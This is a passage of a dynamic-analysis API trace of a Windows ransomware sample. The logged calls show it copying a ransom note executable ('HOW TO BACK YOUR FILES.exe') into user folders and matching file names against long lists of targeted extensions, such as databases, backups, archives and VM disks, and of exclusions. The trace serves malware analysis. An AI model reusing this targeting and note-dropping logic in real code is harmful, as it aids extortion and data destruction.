	[0036.660] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.660] lstrlenW (lpString="ns3") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.660] lstrlenW (lpString="ns4") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.660] lstrlenW (lpString="nsf") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.660] lstrlenW (lpString="nv") returned 2
	[0036.660] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.660] lstrlenW (lpString="nv2") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.660] lstrlenW (lpString="nwdb") returned 4
	[0036.660] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.660] lstrlenW (lpString="nyf") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.660] lstrlenW (lpString="odb") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.660] lstrlenW (lpString="odb") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.660] lstrlenW (lpString="oqy") returned 3
	[0036.660] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.661] lstrlenW (lpString="ora") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.661] lstrlenW (lpString="orx") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.661] lstrlenW (lpString="owc") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.661] lstrlenW (lpString="p96") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.661] lstrlenW (lpString="p97") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.661] lstrlenW (lpString="pan") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.661] lstrlenW (lpString="pdb") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.661] lstrlenW (lpString="pdm") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.661] lstrlenW (lpString="pnz") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.661] lstrlenW (lpString="qry") returned 3
	[0036.661] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.661] lstrlenW (lpString="qvd") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.662] lstrlenW (lpString="rbf") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.662] lstrlenW (lpString="rctd") returned 4
	[0036.662] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.662] lstrlenW (lpString="rod") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.662] lstrlenW (lpString="rodx") returned 4
	[0036.662] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.662] lstrlenW (lpString="rpd") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.662] lstrlenW (lpString="rsd") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.662] lstrlenW (lpString="sas7bdat") returned 8
	[0036.662] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.662] lstrlenW (lpString="sbf") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.662] lstrlenW (lpString="scx") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.662] lstrlenW (lpString="sdb") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.662] lstrlenW (lpString="sdc") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.662] lstrlenW (lpString="sdf") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.662] lstrlenW (lpString="sis") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.662] lstrlenW (lpString="spq") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.662] lstrlenW (lpString="te") returned 2
	[0036.662] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.662] lstrlenW (lpString="teacher") returned 7
	[0036.662] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.662] lstrlenW (lpString="tmd") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.662] lstrlenW (lpString="tps") returned 3
	[0036.662] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.662] lstrlenW (lpString="trc") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.663] lstrlenW (lpString="trc") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.663] lstrlenW (lpString="trm") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.663] lstrlenW (lpString="udb") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.663] lstrlenW (lpString="udl") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.663] lstrlenW (lpString="usr") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.663] lstrlenW (lpString="v12") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.663] lstrlenW (lpString="vis") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.663] lstrlenW (lpString="vpd") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.663] lstrlenW (lpString="vvv") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.663] lstrlenW (lpString="wdb") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.663] lstrlenW (lpString="wmdb") returned 4
	[0036.663] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.663] lstrlenW (lpString="wrk") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.663] lstrlenW (lpString="xdb") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.663] lstrlenW (lpString="xld") returned 3
	[0036.663] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.663] lstrlenW (lpString="xmlff") returned 5
	[0036.663] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.663] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e033f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.663] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.663] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e033f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0036.663] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0036.664] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bd0
	[0036.664] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\NetHood", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood"
	[0036.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca2d0 | out: hHeap=0x580000) returned 1
	[0036.664] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0036.664] lstrlenW (lpString="C:\\Users\\Default\\NetHood") returned 24
	[0036.664] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\NetHood" | out: lpString1="C:\\Users\\Default\\NetHood") returned="C:\\Users\\Default\\NetHood"
	[0036.664] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.664] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\NetHood\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\nethood\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.669] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.669] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\NetHood\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e033f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0036.669] GetLastError () returned 0x5
	[0036.669] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\NetHood\\* FindFirstFile error 5\r\n") returned 58
	[0036.669] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\NetHood\\* FindFirstFile error 5\r\n") returned 58
	[0036.669] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0036.669] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x676
	[0036.669] WriteFile (in: hFile=0x120, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3a, lpOverlapped=0x0) returned 1
	[0036.669] CloseHandle (hObject=0x120) returned 1
	[0036.670] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bb0
	[0036.670] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\My Documents", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents"
	[0036.670] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b60d0 | out: hHeap=0x580000) returned 1
	[0036.670] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ba8 | out: hHeap=0x580000) returned 1
	[0036.670] lstrlenW (lpString="C:\\Users\\Default\\My Documents") returned 29
	[0036.670] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\My Documents" | out: lpString1="C:\\Users\\Default\\My Documents") returned="C:\\Users\\Default\\My Documents"
	[0036.670] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.670] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\My Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\my documents\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.675] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.675] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\My Documents\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e033f90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e033f90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0036.675] GetLastError () returned 0x5
	[0036.675] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\My Documents\\* FindFirstFile error 5\r\n") returned 63
	[0036.675] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\My Documents\\* FindFirstFile error 5\r\n") returned 63
	[0036.676] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0036.676] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6b0
	[0036.676] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x3f, lpOverlapped=0x0) returned 1
	[0036.676] CloseHandle (hObject=0xc0) returned 1
	[0036.701] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b90
	[0036.701] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Music", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music"
	[0036.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e98 | out: hHeap=0x580000) returned 1
	[0036.701] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b88 | out: hHeap=0x580000) returned 1
	[0036.701] lstrlenW (lpString="C:\\Users\\Default\\Music") returned 22
	[0036.701] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Music" | out: lpString1="C:\\Users\\Default\\Music") returned="C:\\Users\\Default\\Music"
	[0036.701] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.701] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Music\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\music\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.705] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.705] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Music\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e0cc510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0036.706] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.706] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.706] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.706] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e0cc510, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.706] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.706] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.706] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.706] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.706] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.706] lstrlenW (lpString="desktop.ini") returned 11
	[0036.706] lstrlenW (lpString="C:\\Users\\Default\\Music\\*") returned 24
	[0036.706] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.706] lstrlenW (lpString="desktop.ini") returned 11
	[0036.706] lstrlenW (lpString="Apollon865") returned 10
	[0036.706] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.706] lstrlenW (lpString=".dll") returned 4
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.706] lstrlenW (lpString=".lnk") returned 4
	[0036.706] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.706] lstrlenW (lpString=".ini") returned 4
	[0036.707] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.707] lstrlenW (lpString=".sys") returned 4
	[0036.707] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.707] lstrlenW (lpString="desktop.ini") returned 11
	[0036.707] lstrlenW (lpString="bak") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.707] lstrlenW (lpString="ba_") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.707] lstrlenW (lpString="dbb") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.707] lstrlenW (lpString="vmdk") returned 4
	[0036.707] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.707] lstrlenW (lpString="rar") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.707] lstrlenW (lpString="zip") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.707] lstrlenW (lpString="tgz") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.707] lstrlenW (lpString="vbox") returned 4
	[0036.707] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.707] lstrlenW (lpString="vdi") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.707] lstrlenW (lpString="vhd") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.707] lstrlenW (lpString="vhdx") returned 4
	[0036.707] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.707] lstrlenW (lpString="avhd") returned 4
	[0036.707] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.707] lstrlenW (lpString="db") returned 2
	[0036.707] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.707] lstrlenW (lpString="db2") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.707] lstrlenW (lpString="db3") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.707] lstrlenW (lpString="dbf") returned 3
	[0036.707] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.708] lstrlenW (lpString="mdf") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.708] lstrlenW (lpString="mdb") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1
	[0036.708] lstrlenW (lpString="sql") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1
	[0036.708] lstrlenW (lpString="sqlite") returned 6
	[0036.708] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1
	[0036.708] lstrlenW (lpString="sqlite3") returned 7
	[0036.708] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1
	[0036.708] lstrlenW (lpString="sqlitedb") returned 8
	[0036.708] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1
	[0036.708] lstrlenW (lpString="xml") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1
	[0036.708] lstrlenW (lpString="$er") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1
	[0036.708] lstrlenW (lpString="4dd") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1
	[0036.708] lstrlenW (lpString="4dl") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1
	[0036.708] lstrlenW (lpString="^^^") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1
	[0036.708] lstrlenW (lpString="abs") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1
	[0036.708] lstrlenW (lpString="abx") returned 3
	[0036.708] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1
	[0036.708] lstrlenW (lpString="accdb") returned 5
	[0036.708] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1
	[0036.708] lstrlenW (lpString="accdc") returned 5
	[0036.708] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1
	[0036.708] lstrlenW (lpString="accde") returned 5
	[0036.708] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1
	[0036.708] lstrlenW (lpString="accdr") returned 5
	[0036.708] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1
	[0036.708] lstrlenW (lpString="accdt") returned 5
	[0036.708] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1
	[0036.708] lstrlenW (lpString="accdw") returned 5
	[0036.708] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1
	[0036.709] lstrlenW (lpString="accft") returned 5
	[0036.709] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1
	[0036.709] lstrlenW (lpString="adb") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.709] lstrlenW (lpString="adb") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1
	[0036.709] lstrlenW (lpString="ade") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1
	[0036.709] lstrlenW (lpString="adf") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1
	[0036.709] lstrlenW (lpString="adn") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1
	[0036.709] lstrlenW (lpString="adp") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1
	[0036.709] lstrlenW (lpString="alf") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1
	[0036.709] lstrlenW (lpString="ask") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1
	[0036.709] lstrlenW (lpString="btr") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1
	[0036.709] lstrlenW (lpString="cat") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1
	[0036.709] lstrlenW (lpString="cdb") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1
	[0036.709] lstrlenW (lpString="ckp") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1
	[0036.709] lstrlenW (lpString="cma") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1
	[0036.709] lstrlenW (lpString="cpd") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1
	[0036.709] lstrlenW (lpString="dacpac") returned 6
	[0036.709] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1
	[0036.709] lstrlenW (lpString="dad") returned 3
	[0036.709] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1
	[0036.709] lstrlenW (lpString="dadiagrams") returned 10
	[0036.709] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1
	[0036.709] lstrlenW (lpString="daschema") returned 8
	[0036.710] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1
	[0036.710] lstrlenW (lpString="db-journal") returned 10
	[0036.710] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1
	[0036.710] lstrlenW (lpString="db-shm") returned 6
	[0036.710] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1
	[0036.710] lstrlenW (lpString="db-wal") returned 6
	[0036.710] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1
	[0036.710] lstrlenW (lpString="dbc") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1
	[0036.710] lstrlenW (lpString="dbs") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1
	[0036.710] lstrlenW (lpString="dbt") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1
